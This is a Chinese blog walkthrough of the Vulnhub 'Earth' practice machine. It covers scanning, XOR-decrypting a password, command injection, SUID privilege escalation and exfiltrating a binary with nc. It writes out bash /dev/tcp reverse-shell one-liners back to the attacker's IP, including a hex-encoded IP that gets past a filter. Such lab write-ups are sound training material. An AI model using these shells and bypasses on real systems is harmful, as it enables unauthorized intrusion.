【Vulnhub靶场】Earth

Ch33syNai1a0

已于 2022-07-05 11:38:42 修改

阅读量962

点赞数 2

分类专栏：靶场实战文章标签：信息收集目录扫描 XOR解密权限提升反弹shell

于 2022-06-16 16:58:16 首次发布

本文链接：https://blog.csdn.net/weixin_53095382/article/details/125318792

版权

靶场实战专栏收录该内容

8 篇文章 3 订阅

订阅专栏

前言

Difficulty: Easy

Earth is an easy box though you will likely find it more challenging than "Mercury" in this series and on the harder side of easy, depending on your experience. There are two flags on the box: a user and root flag which include an md5 hash.

难度：简单
地球是一个简单的盒子，尽管您可能会发现它比本系列中的“水星”更具挑战性，并且根据您的经验，在简单的更难的一面。盒子上有两个标志：一个用户标志和一个包含 md5 哈希的根标志。

下载链接：

https://download.vulnhub.com/theplanets/Earth.ova.torrent

一、信息收集

0x00 arp-scan扫描

arp-san -I eth1 -l  #指定网卡扫描

0x01 nmap扫描

nmap -A 192.168.56.101
发现有earth.local、terratest.earth.local两个DNS解析。

修改hosts文件确保能够正常访问

Windows位置：C:\Windows\System32\drivers\etc\hosts

linux位置： /etc/hosts

windows：

kali：

http://earth.local
http://terratest.earth.local
两个页面一致
有三行数值

Previous Messages: 
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

https://terratest.earth.local页面不一致

二、目录扫描

0x00 dirb扫描

earth.local扫描结果一样
terratest.earth.local多一个robots.txt

/testingnotes.*是文件，上边都是后缀，逐个尝试发现/testingnotes.txt

测试安全消息系统注意事项：
*使用 XOR 加密作为算法，在 RSA 中使用应该是安全的。
*地球已确认他们已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做：
*我们如何安全地将我们的每月密钥发送到地球？还是我们应该每周更换密钥？
*需要测试不同的密钥长度以防止暴力破解。钥匙应该多长？
*需要改进消息界面和管理面板的界面，目前非常基础。

获取三个信息
1、XOR加密算法
2、testdata.txt文件
3、terra为用户名

testdata.txt文件内容

根据辐射测年估计和其他证据，地球形成于 45 亿年前。在地球历史的最初十亿年中，生命出现在海洋中并开始影响地球的大气和地表，导致厌氧生物和后来的需氧生物的扩散。一些地质证据表明，生命可能早在 41 亿年前就已经出现。

0x01 XOR解密

# -*- coding:utf-8 -*-
import binascii

str1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"

testdata = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

#先将testdata文本编码，然后再将字符串转换成十六进制，为什么呢，因为XOR异或运算是十六进制运算符

testdata = binascii.b2a_hex(testdata.encode("utf-8"))

# int（str1, 16）指明str1是十六进制整数值，hex()
#将括号里的十进制数值转化为十六进制（XOR运算之后的数值是十进制·········）。

result = hex(int(str1, 16) ^ int(testdata, 16))

print(result)

0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

去掉0x转化为字符串

转换地址：https://www.toolscat.com/decode/hex

用户名： terra

密码： earthclimatechangebad4humans

目录扫描有登录框，直接登录。

三、漏洞利用

0x00 命令执行漏洞

0x01 反弹shell绕过

可以考虑写反弹shell

bash -i >& /dev/tcp/192.168.56.101/9001 0>&1  
bash -i >& /dev/tcp/MTkyLjE2OC41Ni4xMDEvOTAwMQ== 0>&1
#没有反应，查看攻略是被过滤掉了，用十六进制

bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x66/9001 0>&1
#反弹成功

sudo -l #发现没有权限

四、权限提升

寻找可执行权限最高的文件，root比较可疑，运行一下试试看

find / -perm -u=s -type f 2>/dev/null
find / -perm /u=s -type f 2>/dev/null
-perm 按权限查找 ugo(用户/组/其他) rwx(读/写/执行) 
S 为SUID/SGID特殊权限
-type 文件类型f->文件  d->文件夹
2>/dev/null 不显示错误信息 2->错误输出(0->标准输入; 1->标准输出) >(先清除再写入) or >>(追加) /dev/null位桶(黑洞),接受到的任何数据都会被丢弃

0x00 strace安装

apt-get install atrace
sudo apt-get instasll strace  权限不够用sudo

0x01 文件利用

靶机：nc 192.168.56.102 7777 </usr/bin/reset_root

kali监听：nc -lvvp 7777>reset_root

已接收到reset_root

在shell靶机上创建三个文件

bash-5.1$ touch /dev/shm/kHgTFI5G
touch /dev/shm/kHgTFI5G
bash-5.1$ touch /dev/shm/Zw7bV9U5
touch /dev/shm/Zw7bV9U5
bash-5.1$ touch /tmp/kcM0Wewe
touch /tmp/kcM0Wewe

然后运行，拿到root密码